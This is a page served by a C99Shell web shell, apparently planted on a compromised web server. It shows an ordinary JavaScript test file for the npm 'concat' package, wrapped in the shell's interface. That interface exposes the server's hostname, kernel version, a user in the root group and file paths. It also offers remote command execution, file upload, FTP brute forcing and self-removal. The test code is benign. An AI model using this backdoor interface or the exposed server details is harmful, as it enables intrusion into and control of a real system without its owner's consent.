!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/node_modules/concat/test/   drwxr-xr-x
Free 28.19 GB of 117.98 GB (23.89%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     test.js (1.59 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
const concat = require('../index')
const assert = require('assert');
const read = require('fs').readFileSync;
const exec = require('child_process').execSync;

const err = err => console.log(err)

describe('Concatenate', () => {
  it('empty files', done => {
    concat([__dirname + "/empty", __dirname + "/empty"]).then(f => {
      assert.equal(f, '\n')
      done()
    }).catch(err)
  })

  it('simple concatenation', done => {
    concat([__dirname + "/simple1", __dirname + "/simple2"]).then(f => {
      assert.equal(f, '1\n\n2\n')
      done()
    }).catch(err)
  })

  it('multiple files concatenation', done => {
    concat([
      __dirname + "/simple1",
      __dirname + "/simple2",
      __dirname + "/simple1",
      __dirname + "/simple2",
      __dirname + "/simple1",
      __dirname + "/simple2",
      __dirname + "/simple1",
      __dirname + "/simple2"
    ]).then(f => {
      assert.equal(f, '1\n\n2\n\n1\n\n2\n\n1\n\n2\n\n1\n\n2\n')
      done()
    }).catch(err)
  })

  it('should concatenate folder', done => {
    concat(__dirname + "/folder").then(f => {
      assert.equal(f.trim(), 'function A() {};\n\nfunction B() {};')
      done()
    }).catch(err)
  })
})

describe('cli', () => {
  it('should write to output when no file specified', () => {
    assert.equal(exec(`node ./bin/concat ${__dirname + '/simple1'} ${__dirname + '/simple2'}`).toString(), '1\n\n2\n\n')
  })

  it('should write to file', () => {
    assert.equal(exec(`node ./bin/concat -o ${__dirname + '/test'} ${__dirname + '/simple1'} ${__dirname + '/simple2'} && cat ${__dirname + '/test'}`).toString(), '1\n\n2\n')
  })
})

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--